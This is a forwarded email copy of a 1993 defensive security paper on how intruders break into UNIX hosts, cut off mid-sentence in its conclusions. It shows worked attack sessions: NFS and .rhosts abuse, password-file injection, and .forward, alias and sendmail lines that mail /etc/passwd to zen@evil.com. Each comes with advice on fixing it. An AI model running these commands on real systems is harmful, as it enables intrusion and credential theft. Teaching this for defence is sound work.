Dan Farmer’s Improving the Security of Your Site by Breaking Into It

>From annaliza@netcom.com Ukn Dec 1 23:30:29 1993
Received: from mail.netcom.com (netcom3.netcom.com [192.100.81.103]) by kaiwan.kaiwan.com (8.6.4/8.6.4) with ESMTP
id XAA29728 for <budds@kaiwan.com>; Wed, 1 Dec 1993 23:30:04 -0800
*** Knowledge Added Information Wide Area Network ***
Received: from localhost by mail.netcom.com (8.6.4/SMI-4.1/Netcom)
id XAA16337; Wed, 1 Dec 1993 23:30:12 -0800
From: annaliza@netcom.com (Annaliza T. Orquamada)
Message-Id: <199312020730.XAA16337@mail.netcom.com>
Subject: I posted it…. (fwd)
To: budds@kaiwan.com
Date: Wed, 1 Dec 93 23:30:12 PST
X-Mailer: ELM [version 2.3 PL11]
Status: RO
X-Status:

Forwarded message:
>From Dan.Farmer@Corp.Sun.COM Wed Dec 1 20:03:15 1993
Message-Id: <9312020405.AA01850@death.corp.sun.com.corp.sun.com>
To: annaliza@netcom.com
Subject: I posted it….
Date: Wed, 01 Dec 93 20:05:23 -0800
From: Dan

This is absolutely the real thing 🙂

*kiss*

dan

_Improving the Security of Your Site by Breaking Into it_

Dan Farmer Wietse Venema
Sun Microsystems Eindhoven University of Technology
zen@sun.com wietse@wzv.win.tue.nl

Introduction
————

Every day, all over the world, computer networks and hosts are being
broken into. The level of sophistication of these attacks varies
widely; while it is generally believed that most break-ins succeed due
to weak passwords, there are still a large number of intrusions that use
more advanced techniques to break in. Less is known about the latter
types of break-ins, because by their very nature they are much harder to
detect.

—–

CERT. SRI. The Nic. NCSC. RSA. NASA. MIT. Uunet. Berkeley.
Purdue. Sun. You name it, we’ve seen it broken into. Anything that is
on the Internet (and many that isn’t) seems to be fairly easy game. Are
these targets unusual? What happened?

Fade to…

A young boy, with greasy blonde hair, sitting in a dark room. The room
is illuminated only by the luminescense of the C64’s 40 character
screen. Taking another long drag from his Benson and Hedges cigarette,
the weary system cracker telnets to the next faceless “.mil” site on his
hit list. “guest — guest”, “root — root”, and “system — manager” all
fail. No matter. He has all night… he pencils the host off of his
list, and tiredly types in the next potential victim…

This seems to be the popular image of a system cracker. Young,
inexperienced, and possessing vast quantities of time to waste, to get
into just one more system. However, there is a far more dangerous type
of system cracker out there. One who knows the ins and outs of the
latest security auditing and cracking tools, who can modify them for
specific attacks, and who can write his/her own programs. One who not
only reads about the latest security holes, but also personally
discovers bugs and vulnerabilities. A deadly creature that can both
strike poisonously and hide its tracks without a whisper or hint of a
trail. The uebercracker is here.

—–

Why “uebercracker”? The idea is stolen, obviously, from Nietzsche’s
uebermensch, or, literally translated into English, “over man.”
Nietzsche used the term not to refer to a comic book superman, but
instead a man who had gone beyond the incompetence, pettiness, and
weakness of the everyday man. The uebercracker is therefore the system
cracker who has gone beyond simple cookbook methods of breaking into
systems. An uebercracker is not usually motivated to perform random
acts of violence. Targets are not arbitrary — there is a purpose,
whether it be personal monetary gain, a hit and run raid for
information, or a challenge to strike a major or prestigious site or
net.personality. An uebercracker is hard to detect, harder to stop, and
hardest to keep out of your site for good.

Overview
——–

In this paper we will take an unusual approach to system security.
Instead of merely saying that something is a problem, we will look
through the eyes of a potential intruder, and show _why_ it is one. We
will illustrate that even seemingly harmless network services can become
valuable tools in the search for weak points of a system, even when
these services are operating exactly as they are intended to.

In an effort to shed some light on how more advanced intrusions occur,
this paper outlines various mechanisms that crackers have actually used
to obtain access to systems and, in addition, some techniques we either
suspect intruders of using, or that we have used ourselves in tests or
in friendly/authorized environments.

Our motivation for writing this paper is that system administrators are
often unaware of the dangers presented by anything beyond the most
trivial attacks. While it is widely known that the proper level of
protection depends on what has to be protected, many sites appear to
lack the resources to assess what level of host and network security is
adequate. By showing what intruders can do to gain access to a remote
site, we are trying to help system administrators to make _informed_
decisions on how to secure their site — or not. We will limit the
discussion to techniques that can give a remote intruder access to a
(possibly non-interactive) shell process on a UNIX host. Once this is
achieved, the details of obtaining root privilege are beyond the scope
of this work — we consider them too site-dependent and, in many cases,
too trivial to merit much discussion.

We want to stress that we will not merely run down a list of bugs or
security holes — there will always be new ones for a potential attacker
to exploit. The purpose of this paper is to try to get the reader to
look at her or his system in a new way — one that will hopefully afford
him or her the opportunity to _understand_ how their system can be
compromised, and how.

We would also like to reiterate to the reader that the purpose of this
paper is to show you how to test the security of your own site, not how
to break into other people’s systems. The intrusion techniques we
illustrate here will often leave traces in your system auditing logs —
it might be constructive to examine them after trying some of these
attacks out, to see what a real attack might look like. Certainly other
sites and system administrators will take a very dim view of your
activities if you decide to use their hosts for security testing without
advance authorization; indeed, it is quite possible that legal action
may be pursued against you if they perceive it as an attack.

There are four main parts to the paper. The first part is the
introduction and overview. The second part attempts to give the reader
a feel for what it is like to be an intruder and how to go from knowing
nothing about a system to compromising its security. This section goes
over actual techniques to gain information and entrance and covers basic
strategies such as exploiting trust and abusing improperly configured
basic network services (ftp, mail, tftp, etc.) It also discusses
slightly more advanced topics, such as NIS and NFS, as well as various
common bugs and configuration problems that are somewhat more OS or
system specific. Defensive strategies against each of the various
attacks are also covered here.

The third section deals with trust: how the security of one system
depends on the integrity of other systems. Trust is the most complex
subject in this paper, and for the sake of brevity we will limit the
discussion to clients in disguise.

The fourth section covers the basic steps that a system administrator
may take to protect her or his system. Most of the methods presented
here are merely common sense, but they are often ignored in practice —
one of our goals is to show just how dangerous it can be to ignore basic
security practices.

Case studies, pointers to security-related information, and software are
described in the appendices at the end of the paper.

While exploring the methods and strategies discussed in this paper we we
wrote SATAN (Security Analysis Tool for Auditing Networks.) Written in
shell, perl, expect and C, it examines a remote host or set of hosts and
gathers as much information as possible by remotely probing NIS, finger,
NFS, ftp and tftp, rexd, and other services. This information includes
the presence of various network information services as well as
potential security flaws — usually in the form of incorrectly setup or
configured network services, well-known bugs in system or network
utilities, or poor or ignorant policy decisions. It then can either
report on this data or use an expert system to further investigate any
potential security problems. While SATAN doesn’t use all of the methods
that we discuss in the paper, it has succeeded with ominous regularity
in finding serious holes in the security of Internet sites. It will be
posted and made available via anonymous ftp when completed; Appendix A
covers its salient features.

Note that it isn’t possible to cover all possible methods of breaking
into systems in a single paper. Indeed, we won’t cover two of the most
effective methods of breaking into hosts: social engineering and
password cracking. The latter method is so effective, however, that
several of the strategies presented here are geared towards acquiring
password files. In addition, while windowing systems (X, OpenWindows,
etc.) can provide a fertile ground for exploitation, we simply don’t
know many methods that are used to break into remote systems. Many
system crackers use non-bitmapped terminals which can prevent them from
using some of the more interesting methods to exploit windowing systems
effectively (although being able to monitor the victim’s keyboard is
often sufficient to capture passwords). Finally, while worms, viruses,
trojan horses, and other malware are very interesting, they are not
common (on UNIX systems) and probably will use similar techniques to the
ones we describe in this paper as individual parts to their attack
strategy.

Gaining Information
——————-

Let us assume that you are the head system administrator of Victim
Incorporated’s network of UNIX workstations. In an effort to secure
your machines, you ask a friendly system administrator from a nearby
site (evil.com) to give you an account on one of her machines so that
you can look at your own system’s security from the outside.

What should you do? First, try to gather information about your
(target) host. There is a wealth of network services to look at:
finger, showmount, and rpcinfo are good starting points. But don’t stop
there — you should also utilize DNS, whois, sendmail (smtp), ftp, uucp,
and as many other services as you can find. There are so many methods
and techniques that space precludes us from showing all of them, but we
will try to show a cross-section of the most common and/or dangerous
strategies that we have seen or have thought of. Ideally, you would
gather such information about all hosts on the subnet or area of attack
— information is power — but for now we’ll examine only our intended
target.

To start out, you look at what the ubiquitous finger command shows you
(assume it is 6pm, Nov 6, 1993):

victim % finger @victim.com
[victim.com]
Login Name TTY Idle When Where
zen Dr. Fubar co 1d Wed 08:00 death.com

Good! A single idle user — it is likely that no one will notice if you
actually manage to break in.

Now you try more tactics. As every finger devotee knows, fingering “@”,
“0”, and “”, as well as common names, such as root, bin, ftp, system,
guest, demo, manager, etc., can reveal interesting information. What
that information is depends on the version of finger that your target is
running, but the most notable are account names, along with their home
directories and the host that they last logged in from.

To add to this information, you can use rusers (in particular with the
-l flag) to get useful information on logged-in users.

Trying these commands on victim.com reveals the following information,
presented in a compressed tabular form to save space:

Login Home-dir Shell Last login, from where
—– ——– —– ———————-
root / /bin/sh Fri Nov 5 07:42 on ttyp1 from big.victim.com
bin /bin Never logged in
nobody / Tue Jun 15 08:57 on ttyp2 from server.victim.co
daemon / Tue Mar 23 12:14 on ttyp0 from big.victim.com
sync / /bin/sync Tue Mar 23 12:14 on ttyp0 from big.victim.com
zen /home/zen /bin/bash On since Wed Nov 6 on ttyp3 from death.com
sam /home/sam /bin/csh Wed Nov 5 05:33 on ttyp3 from evil.com
guest /export/foo /bin/sh Never logged in
ftp /home/ftp Never logged in

Both our experiments with SATAN and watching system crackers at work
have proved to us that finger is one of the most dangerous services,
because it is so useful for investigating a potential target. However,
much of this information is useful only when used in conjunction with
other data.

For instance, running showmount on your target reveals:

evil % showmount -e victim.com
export list for victim.com:
/export (everyone)
/var (everyone)
/usr easy
/export/exec/kvm/sun4c.sunos.4.1.3 easy
/export/root/easy easy
/export/swap/easy easy

Note that /export/foo is exported to the world; also note that this is
user guest’s home directory. Time for your first break-in! In this
case, you’ll mount the home directory of user “guest.” Since you don’t
have a corresponding account on the local machine and since root cannot
modify files on an NFS mounted filesystem, you create a “guest” account
in your local password file. As user guest you can put an .rhosts entry
in the remote guest home directory, which will allow you to login to the
target machine without having to supply a password.

evil # mount victim.com:/export/foo /foo
evil # cd /foo
evil # ls -lag
total 3
1 drwxr-xr-x 11 root daemon 512 Jun 19 09:47 .
1 drwxr-xr-x 7 root wheel 512 Jul 19 1991 ..
1 drwx–x–x 9 10001 daemon 1024 Aug 3 15:49 guest
evil # echo guest:x:10001:1:temporary breakin account:/: >> /etc/passwd
evil # ls -lag
total 3
1 drwxr-xr-x 11 root daemon 512 Jun 19 09:47 .
1 drwxr-xr-x 7 root wheel 512 Jul 19 1991 ..
1 drwx–x–x 9 guest daemon 1024 Aug 3 15:49 guest
evil # su guest
evil % echo victim.com >> guest/.rhosts
evil % rlogin victim.com
Welcome to victim.com!
victim %

If, instead of home directories, victim.com were exporting filesystems
with user commands (say, /usr or /usr/local/bin), you could replace a
command with a trojan horse that executes any command of your choice.
The next user to execute that command would execute your program.

We suggest that filesystems be exported:

o Read/write only to specific, trusted clients.
o Read-only, where possible (data or programs can often be
exported in this manner.)

If the target has a “+” wildcard in its /etc/hosts.equiv (the default in
various vendor’s machines) or has the netgroups bug (CERT advisory
91:12), any non-root user with a login name in the target’s password
file can rlogin to the target without a password. And since the user
“bin” often owns key files and directories, your next attack is to try
to log in to the target host and modify the password file to let you
have root access:

evil % whoami
bin
evil % rsh victim.com csh -i
Warning: no access to tty; thus no job control in this shell…
victim % ls -ldg /etc
drwxr-sr-x 8 bin staff 2048 Jul 24 18:02 /etc
victim % cd /etc
victim % mv passwd pw.old
victim % (echo toor::0:1:instant root shell:/:/bin/sh; cat pw.old ) > passwd
victim % ^D
evil % rlogin victim.com -l toor
Welcome to victim.com!
victim #

A few notes about the method used above; “rsh victim.com csh -i” is used
to initially get onto the system because it doesn’t leave any traces in
the wtmp or utmp system auditing files, making the rsh invisible for
finger and who. The remote shell isn’t attached to a pseudo-terminal,
however, so that screen-oriented programs such as pagers and editors
will fail — but it is very handy for brief exploration.

The COPS security auditing tool (see appendix D) will report key files
or directories that are writable to accounts other than the
superuser. If you run SunOS 4.x you can apply patch 100103 to fix most
file permission problems. On many systems, rsh probes as shown above,
even when successful, would remain completely unnoticed; the tcp wrapper
(appendix D), which logs incoming connections, can help to expose such
activities.

—-

What now? Have you uncovered all the holes on your target system? Not
by a long shot. Going back to the finger results on your target, you
notice that it has an “ftp” account, which usually means that anonymous
ftp is enabled. Anonymous ftp can be an easy way to get access, as it
is often misconfigured. For example, the target may have a complete
copy of the /etc/passwd file in the anonymous ftp ~ftp/etc directory
instead of a stripped down version. In this example, though, you see
that the latter doesn’t seem to be true (how can you tell without
actually examining the file?) However, the home directory of ftp on
victim.com is writable. This allows you to remotely execute a command
— in this case, mailing the password file back to yourself — by the
simple method of creating a .forward file that executes a command when
mail is sent to the ftp account. This is the same mechanism of piping
mail to a program that the “vacation” program uses to automatically
reply to mail messages.

evil % cat forward_sucker_file
“|/bin/mail zen@evil.com < /etc/passwd" evil % ftp victim.com Connected to victim.com 220 victim FTP server ready. Name (victim.com:zen): ftp 331 Guest login ok, send ident as password. Password: 230 Guest login ok, access restrictions apply. ftp> ls -lga
200 PORT command successful.
150 ASCII data connection for /bin/ls (192.192.192.1,1129) (0 bytes).
total 5
drwxr-xr-x 4 101 1 512 Jun 20 1991 .
drwxr-xr-x 4 101 1 512 Jun 20 1991 ..
drwxr-xr-x 2 0 1 512 Jun 20 1991 bin
drwxr-xr-x 2 0 1 512 Jun 20 1991 etc
drwxr-xr-x 3 101 1 512 Aug 22 1991 pub
226 ASCII Transfer complete.
242 bytes received in 0.066 seconds (3.6 Kbytes/s)
ftp> put forward_sucker_file .forward
43 bytes sent in 0.0015 seconds (28 Kbytes/s)
ftp> quit
evil % echo test | mail ftp@victim.com

Now you simply wait for the password file to be sent back to you.

The security auditing tool COPS will check your anonymous ftp setup; see
the man page for ftpd, the documentation/code for COPS, or CERT advisory
93:10 for information on how to set up anonymous ftp correctly.
Vulnerabilities in ftp are often a matter of incorrect ownership or
permissions of key files or directories. At the very least, make sure
that ~ftp and all “system” directories and files below ~ftp are owned by
root and are not writable by any user.

While looking at ftp, you can check for an older bug that was once
widely exploited:

% ftp -n
ftp> open victim.com
Connected to victim.com
220 victim.com FTP server ready.
ftp> quote user ftp
331 Guest login ok, send ident as password.
ftp> quote cwd ~root
530 Please login with USER and PASS.
ftp> quote pass ftp
230 Guest login ok, access restrictions apply.
ftp> ls -al / (or whatever)

If this works, you now are logged in as root, and able to modify the
password file, or whatever you desire. If your system exhibits this
bug, you should definitely get an update to your ftpd daemon, either
from your vendor or (via anon ftp) from ftp.uu.net.

The wuarchive ftpd, a popular replacement ftp daemon put out by the
Washington University in Saint Louis, had almost the same problem. If
your wuarchive ftpd pre-dates April 8, 1993, you should replace it by a
more recent version.

Finally, there is a program vaguely similar to ftp — tftp, or the
trivial file transfer program. This daemon doesn’t require any password
for authentication; if a host provides tftp without restricting the
access (usually via some secure flag set in the inetd.conf file), an
attacker can read and write files anywhere on the system. In the
example, you get the remote password file and place it in your local
/tmp directory:

evil % tftp
tftp> connect victim.com
tftp> get /etc/passwd /tmp/passwd.victim
tftp> quit

For security’s sake, tftp should not be run; if tftp is necessary, use
the secure option/flag to restrict access to a directory that has no
valuable information, or run it under the control of a chroot wrapper
program.

—-

If none of the previous methods have worked, it is time to go on to more
drastic measures. You have a friend in rpcinfo, another very handy
program, sometimes even more useful than finger. Many hosts run RPC
services that can be exploited; rpcinfo can talk to the portmapper and
show you the way. It can tell you if the host is running NIS, if it is
a NIS server or slave, if a diskless workstation is around, if it is
running NFS, any of the info services (rusersd, rstatd, etc.), or any
other unusual programs (auditing or security related). For instance,
going back to our sample target:

evil % rpcinfo -p victim.com [output trimmed for brevity’s sake]
program vers proto port
100004 2 tcp 673 ypserv
100005 1 udp 721 mountd
100003 2 udp 2049 nfs
100026 1 udp 733 bootparam
100017 1 tcp 1274 rexd

In this case, you can see several significant facts about our target;
first of which is that it is an NIS server. It is perhaps not widely
known, but once you know the NIS domainname of a server, you can get any
of its NIS maps by a simple rpc query, even when you are outside the
subnet served by the NIS server (for example, using the YPX program that
can be found in the comp.sources.misc archives on ftp.uu.net). In
addition, very much like easily guessed passwords, many systems use
easily guessed NIS domainnames. Trying to guess the NIS domainname is
often very fruitful. Good candidates are the fully and partially
qualified hostname (e.g. “victim” and “victim.com”), the organization
name, netgroup names in “showmount” output, and so on. If you wanted to
guess that the domainname was “victim”, you could type:

evil % ypwhich -d victim victim.com
Domain victim not bound.

This was an unsuccessful attempt; if you had guessed correctly it would
have returned with the host name of victim.com’s NIS server. However,
note from the NFS section that victim.com is exporting the “/var”
directory to the world. All that is needed is to mount this directory
and look in the “yp” subdirectory — among other things you will see
another subdirectory that contains the domainname of the target.

evil # mount victim.com:/var /foo
evil # cd /foo
evil # /bin/ls -alg /foo/yp
total 17
1 drwxr-sr-x 4 root staff 512 Jul 12 14:22 .
1 drwxr-sr-x 11 root staff 512 Jun 29 10:54 ..
11 -rwxr-xr-x 1 root staff 10993 Apr 22 11:56 Makefile
1 drwxr-sr-x 2 root staff 512 Apr 22 11:20 binding
2 drwxr-sr-x 2 root staff 1536 Jul 12 14:22 foo_bar
[…]

In this case, “foo_bar” is the NIS domain name.

In addition, the NIS maps often contain a good list of user/employee
names as well as internal host lists, not to mention passwords for
cracking.

Appendix C details the results of a case study on NIS password files.

—-

You note that the rpcinfo output also showed that victim.com runs rexd.
Like the rsh daemon, rexd processes requests of the form “please execute
this command as that user”. Unlike rshd, however, rexd does not care if
the client host is in the hosts.equiv or .rhost files. Normally the rexd
client program is the “on” command, but it only takes a short C program
to send arbitrary client host and userid information to the rexd server;
rexd will happily execute the command. For these reasons, running rexd
is similar to having no passwords at all: all security is in the client,
not in the server where it should be. Rexd security can be improved
somewhat by using secure RPC.

—-

While looking at the output from rpcinfo, you observe that victim.com
also seems to be a server for diskless workstations. This is evidenced
by the presence of the bootparam service, which provides information to
the diskless clients for booting. If you ask nicely, using
BOOTPARAMPROC_WHOAMI and provide the address of a client, you can get
its NIS domainname. This can be very useful when combined with the fact
that you can get arbitrary NIS maps (such as the password file) when you
know the NIS domainname. Here is a sample code snippet to do just that
(bootparam is part of SATAN.)

char *server;
struct bp_whoami_arg arg; /* query */
struct bp_whoami_res res; /* reply */

/* initializations omitted… */

callrpc(server, BOOTPARAMPROG, BOOTPARAMVERS, BOOTPARAMPROC_WHOAMI,
xdr_bp_whoami_arg, &arg, xdr_bp_whoami_res, &res);

printf(“%s has nisdomain %s\n”, server, res.domain_name);

The showmount output indicated that “easy” is a diskless client of
victim.com, so we use its client address in the BOOTPARAMPROC_WHOAMI
query:

evil % bootparam victim.com easy.victim.com
victim.com has nisdomain foo_bar

—-

NIS masters control the mail aliases for the NIS domain in question.
Just like local mail alias files, you can create a mail alias that will
execute commands when mail is sent to it (a once popular example of this
is the “decode” alias which uudecodes mail files sent to it.) For
instance, here you create an alias “foo”, which mails the password file
back to evil.com by simply mailing any message to it:

nis-master # echo ‘foo: “| mail zen@evil.com < /etc/passwd "' >> /etc/aliases
nis-master # cd /var/yp
nis-master # make aliases
nis-master # echo test | mail -v foo@victim.com

Hopefully attackers won’t have control of your NIS master host, but even
more hopefully the lesson is clear — NIS is normally insecure, but if
an attacker has control of your NIS master, then s/he effectively has
control of the client hosts (e.g. can execute arbitrary commands).

There aren’t many effective defenses against NIS attacks; it is an
insecure service that has almost no authentication between clients and
servers. To make things worse, it seems fairly clear that arbitrary
maps can be forced onto even master servers (e.g., it is possible to
treat an NIS server as a client). This, obviously, would subvert the
entire schema. If it is absolutely necessary to use NIS, choosing a
hard to guess domainname can help slightly, but if you run diskless
clients that are exposed to potential attackers then it is trivial for
an attacker to defeat this simple step by using the bootparam trick to
get the domainname. If NIS is used to propagate the password maps, then
shadow passwords do not give additional protection because the shadow
map is still accessible to any attacker that has root on an attacking
host. Better is to use NIS as little as possible, or to at least
realize that the maps can be subject to perusal by potentially hostile
forces.

Secure RPC goes a long way to diminish the threat, but it has its own
problems, primarily in that it is difficult to administer, but also in
that the cryptographic methods used within are not very strong. It has
been rumored that NIS+, Sun’s new network information service, fixes
some of these problems, but until now it has been limited to running on
Suns, and thus far has not lived up to the promise of the design.
Finally, using packet filtering (at the very least port 111) or
securelib (see appendix D), or, for Suns, applying Sun patch 100482-02
all can help.

—-

The portmapper only knows about RPC services. Other network services
can be located with a brute-force method that connects to all network
ports. Many network utilities and windowing systems listen to specific
ports (e.g. sendmail is on port 25, telnet is on port 23, X windows is
usually on port 6000, etc.) SATAN includes a program that scans the
ports of a remote hosts and reports on its findings; if you run it
against our target, you see:

evil % tcpmap victim.com
Mapping 128.128.128.1
port 21: ftp
port 23: telnet
port 25: smtp
port 37: time
port 79: finger
port 512: exec
port 513: login
port 514: shell
port 515: printer
port 6000: (X)

This suggests that victim.com is running X windows. If not protected
properly (via the magic cookie or xhost mechanisms), window displays can
be captured or watched, user keystrokes may be stolen, programs executed
remotely, etc. Also, if the target is running X and accepts a telnet to
port 6000, that can be used for a denial of service attack, as the
target’s windowing system will often “freeze up” for a short period of
time. One method to determine the vulnerability of an X server is to
connect to it via the XOpenDisplay() function; if the function returns
NULL then you cannot access the victim’s display (opendisplay is part of
SATAN):

char *hostname;

if (XOpenDisplay(hostname) == NULL) {
printf(“Cannot open display: %s\n”, hostname);
} else {
printf(“Can open display: %s\n”, hostname);
}

evil % opendisplay victim.com:0
Cannot open display: victim.com:0

X terminals, though much less powerful than a complete UNIX system, can
have their own security problems. Many X terminals permit unrestricted
rsh access, allowing you to start X client programs in the victim’s
terminal with the output appearing on your own screen:

evil % xhost +xvictim.victim.com
evil % rsh xvictim.victim.com telnet victim.com -display evil.com

In any case, give as much thought to your window security as your
filesystem and network utilities, for it can compromise your system as
surely as a “+” in your hosts.equiv or a passwordless (root) account.

—-

Next, you examine sendmail. Sendmail is a very complex program that has
a long history of security problems, including the infamous “wiz”
command (hopefully long since disabled on all machines). You can often
determine the OS, sometimes down to the version number, of the target,
by looking at the version number returned by sendmail. This, in turn,
can give you hints as to how vulnerable it might be to any of the
numerous bugs. In addition, you can see if they run the “decode” alias,
which has its own set of problems:

evil % telnet victim.com 25
connecting to host victim.com (128.128.128.1.), port 25
connection open
220 victim.com Sendmail Sendmail 5.55/victim ready at Fri, 6 Nov 93 18:00 PDT
expn decode
250 <"|/usr/bin/uudecode">
quit

Running the “decode” alias is a security risk — it allows potential
attackers to overwrite any file that is writable by the owner of that
alias — often daemon, but potentially any user. Consider this piece of
mail — this will place “evil.com” in user zen’s .rhosts file if it is
writable:

evil % echo “evil.com” | uuencode /home/zen/.rhosts | mail decode@victim.com

If no home directories are known or writable, an interesting variation
of this is to create a bogus /etc/aliases.pag file that contains an
alias with a command you wish to execute on your target. This may work
since on many systems the aliases.pag and aliases.dir files, which
control the system’s mail aliases, are writable to the world.

evil % cat decode
bin: “| cat /etc/passwd | mail zen@evil.com”
evil % newaliases -oQ/tmp -oA`pwd`/decode
evil % uuencode decode.pag /etc/aliases.pag | mail decode@victom.com
evil % /usr/lib/sendmail -fbin -om -oi bin@victim.com < /dev/null A lot of things can be found out by just asking sendmail if an address is acceptable (vrfy), or what an address expands to (expn). When the finger or rusers services are turned off, vrfy and expn can still be used to identify user accounts or targets. Vrfy and expn can also be used to find out if the user is piping mail through any program that might be exploited (e.g. vacation, mail sorters, etc.). It can be a good idea to disable the vrfy and expn commands: in most versions, look at the source file srvrsmtp.c, and either delete or change the two lines in the CmdTab structure that have the strings "vrfy" and "expn". Sites without source can still disable expn and vrfy by just editing the sendmail executable with a binary editor and replacing "vrfy" and "expn" with blanks. Acquiring a recent version of sendmail (see Appendix D) is also an extremely good idea, since there have probably been more security bugs reported in sendmail than in any other UNIX program. ---- As a sendmail-sendoff, there are two fairly well known bugs that should be checked into. The first was definitely fixed in version 5.59 from Berkeley; despite the messages below, for versions of sendmail previous to 5.59, the "evil.com" gets appended, despite the error messages, along with all of the typical mail headers, to the file specified: % cat evil_sendmail telnet victim.com 25 << EOSM rcpt to: /home/zen/.rhosts mail from: zen data random garbage . rcpt to: /home/zen/.rhosts mail from: zen data evil.com . quit EOSM evil % /bin/sh evil_sendmail Trying 128.128.128.1 Connected to victim.com Escape character is '^]'. Connection closed by foreign host. evil % rlogin victim.com -l zen Welcome to victim.com! victim % The second hole, fixed only recently, permitted anyone to specify arbitrary shell commands and/or pathnames for the sender and/or destination address. Attempts to keep details secret were in vain, and extensive discussions in mailing lists and usenet news groups led to disclosure of how to exploit some versions of the bug. As with many UNIX bugs, nearly every vendor's sendmail was vulnerable to the problem, since they all share a common source code tree ancestry. Space precludes us from discussing it fully, but a typical attack to get the password file might look like this: evil % telnet victim.com 25 Trying 128.128.128.1... Connected to victim.com Escape character is '^]'. 220 victim.com Sendmail 5.55 ready at Saturday, 6 Nov 93 18:04 mail from: "|/bin/mail zen@evil.com < /etc/passwd" 250 "|/bin/mail zen@evil.com < /etc/passwd"... Sender ok rcpt to: nosuchuser 550 nosuchuser... User unknown data 354 Enter mail, end with "." on a line by itself . 250 Mail accepted quit Connection closed by foreign host. evil % At the time of writing, version 8.6.4 of sendmail (see Appendix D for information on how to get this) is reportedly the only variant of sendmail with all of the recent security bugs fixed. Trust ----- For our final topic of vulnerability, we'll digress from the practical strategy we've followed previously to go a bit more into the theoretical side, and briefly discuss the notion of trust. The issues and implications of vulnerabilities here are a bit more subtle and far-reaching than what we've covered before; in the context of this paper we use the word trust whenever there is a situation when a server (note that any host that allows remote access can be called a server) can permit a local resource to be used by a client without password authentication when password authentication is normally required. In other words, we arbitrarily limit the discussion to clients in disguise. There are many ways that a host can trust: .rhosts and hosts.equiv files that allow access without password verification; window servers that allow remote systems to use and abuse privileges; export files that control access via NFS, and more. Nearly all of these rely on client IP address to hostname conversion to determine whether or not service is to be granted. The simplest method uses the /etc/hosts file for a direct lookup. However, today most hosts use either DNS (the Domain Name Service), NIS, or both for name lookup service. A reverse lookup occurs when a server has an IP address (from a client host connecting to it) and wishes to get the corresponding client hostname. Although the concept of how host trust works is well understood by most system administrators, the _dangers_ of trust, and the _practical_ problem it represents, irrespective of hostname impersonation, is one of the least understood problems we know of on the Internet. This goes far beyond the obvious hosts.equiv and rhosts files; NFS, NIS, windowing systems -- indeed, much of the useful services in UNIX are based on the concept that well known (to an administrator or user) sites are trusted in some way. What is not understood is how networking so tightly binds security between what are normally considered disjoint hosts. Any form of trust can be spoofed, fooled, or subverted, especially when the authority that gets queried to check the credentials of the client is either outside of the server's administrative domain, or when the trust mechanism is based on something that has a weak form of authentication; both are usually the case. Obviously, if the host containing the database (either NIS, DNS, or whatever) has been compromised, the intruder can convince the target host that s/he is coming from any trusted host; it is now sufficient to find out which hosts are trusted by the target. This task is often greatly helped by examining where system administrators and system accounts (such as root, etc.) last logged in from. Going back to our target, victim.com, you note that root and some other system accounts logged in from big.victim.com. You change the PTR record for evil.com so that when you attempt to rlogin in from evil.com to victim.com, victim.com will attempt to look up your hostname and will find what you placed in the record. If the record in the DNS database looks like: 1.192.192.192.in-addr.arpa IN PTR evil.com And you change it to: 1.192.192.192.in-addr.arpa IN PTR big.victim.com then, depending on how naive victim.com's system software is, victim.com will believe the login comes from big.victim.com, and, assuming that big.victim.com is in the /etc/hosts.equiv or /.rhosts files, you will be able to login without supplying a password. With NIS, it is a simple matter of either editing the host database on the NIS master (if this is controlled by the intruder) or of spoofing or forcing NIS (see discussion on NIS security above) to supply the target with whatever information you desire. Although more complex, interesting, and damaging attacks can be mounted via DNS, time and space don't allow coverage of these methods here. Two methods can be used to prevent such attacks. The first is the most direct, but perhaps the most impractical. If your site doesn't use any trust, you won't be as vulnerable to host spoofing. The other strategy is to use cryptographic protocols. Using the secure RPC protocol (used in secure NFS, NIS+, etc.) is one method; although it has been "broken" cryptographically, it still provides better assurance than RPC authentication schemes that do not use any form of encryption. Other solutions, both hardware (smartcards) and software (Kerberos), are being developed, but they are either incomplete or require changes to system software. Appendix B details the results of an informal survey taken from a variety of hosts on the Internet. Protecting the system --------------------- It is our hope that we have demonstrated that even some of the most seemingly innocuous services run can offer (sometimes unexpectedly) ammunition to determined system crackers. But, of course, if security were all that mattered, computers would never be turned on, let alone hooked into a network with literally millions of potential intruders. Rather than reiterating specific advice on what to switch on or off, we instead offer some general suggestions: o If you cannot turn off the finger service, consider installing a modified finger daemon. It is rarely necessary to reveal a user's home directory and the source of last login. o Don't run NIS unless it's absolutely necessary. Use NFS as little as possible. o Never export NFS filesystems unrestricted to the world. Try to export file systems read-only where possible. o Fortify and protect servers (e.g. hosts that provide a service to other hosts -- NFS, NIS, DNS, whatever.) Only allow administrative accounts on these hosts. o Examine carefully services offered by inetd and the portmapper. Eliminate any that aren't explicitly needed. Use Wietse Venema's inetd wrappers, if for no other reason than to log the sources of connections to your host. This adds immeasurably to the standard UNIX auditing features, especially with respect to network attacks. If possible, use the loghost mechanism of syslog to collect security-related information on a secure host. o Eliminate trust unless there is an absolute need for it. Trust is your enemy. o Use shadow passwords and a passwd command that disallows poor passwords. Disable or delete unused/dormant system or user accounts. o Keep abreast of current literature (see our suggested reading list and bibliography at the end of this paper) and security tools; communicate to others about security problems and incidents. At minimum, subscribe to the CERT mailing list and phrack magazine (plus the firewalls mailing list, if your site is using or thinking about installing a firewall) and read the usenet security newsgroups to get the latest information on security problems. Ignorance is the deadliest security problem we are aware of. o Install all vendor security patches as soon as possible, on all of your hosts. Examine security patch information for other vendors - many bugs (rdist, sendmail) are common to many UNIX variants. It is interesting to note that common solutions to security problems such as running Kerberos or using one-time passwords or digital tokens are ineffective against most of the attacks we discuss here. We heartily recommend the use of such systems, but be aware that they are _not_ a total security solution -- they are part of a larger struggle to defend your system. Conclusions ----------- Perhaps none of the methods shown here are surprising; when writing this paper, we didn't learn very much about how to break into systems. What we _did_ learn was, while testing these methods out on our own systems and that of friendly sites, just how effective this set of methods is for gaining access to a typical (UNIX) Internet host. Tiring of trying to type these in all by hand, and desiring to keep our own systems more secure, we decided to implement a security tool (SATAN) that attempts to check remote hosts for at least some of the problems discussed here. The typical response, when telling people about our paper and our tool was something on the order of "that sounds pretty dangerous -- I hope you're not going to give it out to everybody. But you since you can trust me, may I have a copy of it?" We never set out to create a cookbook or toolkit of methods and programs on how to break into systems -- instead, we saw that these same methods were being used, every day, against ourselves and against friendly system administrators. We believe that by propagating information that normally wasn't available to those outside of the underworld, we can increase security by raising awareness. Trying to restrict access to "dangerous" security information has never seemed to be a very effective method for increasing security; indeed, the opposite appears to be the case, since the system 